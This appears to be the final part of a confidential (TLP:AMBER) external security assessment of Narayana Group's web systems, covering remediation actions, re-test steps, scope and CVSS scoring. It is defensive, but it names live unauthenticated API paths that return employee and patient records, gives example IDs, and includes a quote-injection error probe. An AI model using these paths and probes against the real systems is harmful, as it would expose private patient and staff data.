WEB-2026-004	Move all fee amounts, fines and the merchant bank account to be calculated server-side from the database. Stop reading them from the page.	Developer (fee portal)
WEB-2026-004	Require login or OTP before revealing student and parent details; change the homepage link to https://.	Developer (fee portal)
WEB-2026-007	Move nNote.apk to HTTPS, sign it properly, and enable HTTPS with HTTP-to-HTTPS redirect on the helpdesk and elearn login pages.	IT head + developer
WEB-2026-001	Implement proper session management: server-issued session or signed token, HttpOnly + Secure + SameSite cookies, account lockout after 5 failed attempts, and authentication logging.	Lead developer
WEB-2026-001	Require the existing PIN or a server-verified OTP before any PIN change; remove ?empid= and ?regno= from URLs.	Lead developer
WEB-2026-002	Add authorisation checks so a user can only ever read their own record; replace guessable IDs with random ones; remove Password, OTP, Aadhaar and PIN fields from API responses.	Lead developer
WEB-2026-002	Require an authenticated, authorised approver for bill cancellations and log every approval with the approver's identity.	Developer + finance
WEB-2026-003	Require authentication on all upload endpoints; generate filenames server-side; restrict file types; store uploads outside the web root.	Lead developer

PHASE 3 - THIS MONTH The remaining structural and hygiene work.

ID	Action	Who
WEB-2026-006	Upgrade or replace the helpdesk stack (PHP 5.6 / Apache 2.4.23 / osTicket 1.10). Decide upgrade / replace / retire for the 2003 payroll, 2010 Classic ASP inventory and hospital systems, and the ASP.NET 2.0 patient portal.	IT head + vendors

ID	Action	Who
WEB-2026-006	Update jQuery and Bootstrap on the main website; lock down or remove the UAT environment; set up a monthly patching routine.	Web developer
WEB-2026-008	Fix the PACS HSTS header (max-age=31536000), replace the placeholder CORS value, require authentication on /PacsAPI/ and /RISAPI/, and request the vendor's hardening guide.	PACS vendor + IT
WEB-2026-010	Publish SPF and DMARC records. Start DMARC at p=none, review reports for two weeks, then move to quarantine and finally reject.	IT head
WEB-2026-010	Assign an owner to nmc and uat, or remove their DNS records. Add a quarterly DNS review to your calendar.	IT head
WEB-2026-009	Add the six standard security headers site-wide; mark every cookie HttpOnly, Secure and SameSite; add CSRF tokens to the app login form.	Web developer
WEB-2026-009	Replace the "There is no such Login Id" message with a generic failure message; remove internal IP addresses and localhost references from live code.	Web developer

OK The single highest-value action

If you only do one thing from this report: **switch on authentication at the /NtraktApi/ and /NnoteApi/ layer.** That one change closes both Critical findings and the unauthenticated file upload finding - three of your ten issues, including the two that matter most - and it can realistically be done in a day.

If your developers are not available immediately, a temporary network-level restriction (only allowing your own office and hospital IP ranges to reach those paths) will stop the bleeding within the hour while the proper fix is built.

9 What 'fixed' looks like, and what happens next

9.1 How to check the fix worked

Once your team has made the changes, they should re-run the exact commands shown in the "How we proved it" sections. **Every one of them should now fail.** In particular:

1. **Open /Nnote/layout.html and /ncare/layout.html directly.** You should be sent back to the login page. If the dashboard still opens, the fix is not complete.
2. **Call /NtraktApi/api/User/Info/3334024 without logging in.** You should get **401 Unauthorized** or **403 Forbidden**. If you still get an employee record, the fix is not complete.
3. **Call /NnoteApi/api/Patient/Info/1005411787 without logging in.** You should get 401 or 403. If you still get a patient record, the fix is not complete.
4. **Trigger an error on purpose (for example /NtraktApi/api/User/Info/1').** You should see a generic message, not an ORA- error and not a file path.
5. **Check your cookies.** Every one should carry HttpOnly, Secure and SameSite.
6. **Check your email authentication.** Use a free online SPF/DMARC checker - it should now show both records present.

9.2 Recommended next steps

Step	Recommended action	Why
1	**Fix the two Critical findings today.**	Everything else can wait. These two cannot.
2	**Ask for a re-test.** Once the fixes are in, have them verified independently before you consider the matter closed.	Roughly a third of first attempts at a fix are incomplete. A re-test is the only way to know.
3	**Turn on your Cloudflare protections.** You already use Cloudflare, so the web application firewall (WAF), bot protection and rate limiting are available to you at no extra cost.	This gives you a safety net across all 29 applications while the permanent fixes are built, and it costs nothing to enable.
4	**Appoint a named owner for every system in section 5.**	Unowned systems are how breaches happen. Three of yours (nmc, uat, online) currently appear to have no owner.
5	**Start a monthly patching routine.**	Most successful attacks exploit problems that had a fix available for months.
6	**Write a short incident plan.** One page: who to call, what to switch off, who notifies patients and regulators.	If the worst happens, the first hour matters most. Deciding in advance saves that hour.
7	**Review your DPDP Act 2023 obligations.** Take advice on whether any of this triggers a notification duty.	Penalties can be substantial, and early voluntary action is viewed far more favourably than disclosure after a breach.
8	**Consider a full internal network assessment.** This report only covers what is reachable from the internet.	Once an attacker is inside, the next layer matters. An internal review is the natural follow-up to this one.

A closing word

Finding ten issues - including two Critical ones - does not mean your IT team has failed. It means your organisation has grown, added systems over many years, and has now had its first proper external security review. Almost every organisation of your size gets a similar result the first time.

What matters now is what happens in the next 48 hours. The two Critical findings are genuinely urgent, and they are also genuinely fixable. Fix those, and your risk drops dramatically. Then work down the list.

We are happy to re-test each fix at no additional complexity and confirm in writing when each item is closed.

10 Appendix - how the assessment was carried out

A. Scope

In scope (authorised, tested)	Out of scope (not tested)
https://narayanagroup.co.in/ and every application hosted under it (29 identified) All sub-domains discovered: www, pacs, dms, nmc, uat, app, helpdesk, online All REST API services: /NtraktApi/, /NnoteApi/, /PacsAPI/, /RISAPI/ DNS, email authentication records and public TLS configuration Public port scan of the primary server address	Any system not belonging to Narayana Group Your hosting provider's, mail provider's or payment gateway's own infrastructure Internal network, staff computers, Wi-Fi and end-user devices Physical security of your premises Your staff (no social engineering, no phishing tests were performed) Availability testing (no denial-of-service or load testing)

B. Method

1. **Reconnaissance.** We mapped the public site, followed every link, and used public internet records to discover sub-domains and servers.
2. **Fingerprinting.** For each system we identified the software, versions and configuration from the information it freely returns.
3. **Manual review.** We read the application code that your servers send to browsers (HTML and JavaScript) to understand how login, data access and payments actually work.
4. **Verification.** Every finding was confirmed by making a real request against the live system and observing the response. Nothing in this report is theoretical or inferred from a scanner.
5. **Analysis and reporting.** Each confirmed issue was scored using the CVSS v3.1 standard and mapped to the CWE and OWASP Top 10 (2021) frameworks used worldwide.

C. Understanding the CVSS score

CVSS is the international standard for rating how dangerous a vulnerability is. It produces a score from 0 to 10, calculated from factors such as: can it be done over the network? does the attacker need to log in first? does it need an innocent person to be tricked? how much data is affected? Every score in this report was calculated using the official CVSS v3.1 calculator.

Score	Band	Meaning for you
9.0 - 10.0	Critical	Maximum damage, trivially easy, no login needed. Act today.
7.0 - 8.9	High	Serious damage likely. Act this week.
4.0 - 6.9	Medium	Meaningful weakness. Act this month.
0.1 - 3.9	Low	Hygiene. Fix when convenient.
n/a	Informational	No direct risk, but worth knowing about.

D. Finding-to-reference index

ID	Severity	CVSS	Category (OWASP Top 10 2021)
WEB-2026-001	Critical	9.8	A07 Identification and Authentication Failures
WEB-2026-002	Critical	9.8	A01 Broken Access Control
WEB-2026-003	High	8.6	A01 Broken Access Control
WEB-2026-004	High	8.2	A04 Insecure Design
WEB-2026-005	High	7.5	A05 Security Misconfiguration

ID	Severity	CVSS	Category (OWASP Top 10 2021)
WEB-2026-006	High	8.1	A06 Vulnerable and Outdated Components
WEB-2026-007	High	7.5	A02 Cryptographic Failures
WEB-2026-008	Medium	6.5	A05 Security Misconfiguration
WEB-2026-009	Medium	5.8	A05 Security Misconfiguration
WEB-2026-010	Medium	6.5	A05 Security Misconfiguration

! Handling and distribution

This report is classified **CONFIDENTIAL - TLP:AMBER**. Share it only with people who need to act on it. Until the Critical findings are closed, do not post it publicly, attach it to a ticket with external suppliers, or forward it outside your organisation.

Report reference **NSS-2026-NG-001**, dated **11 October 2026**.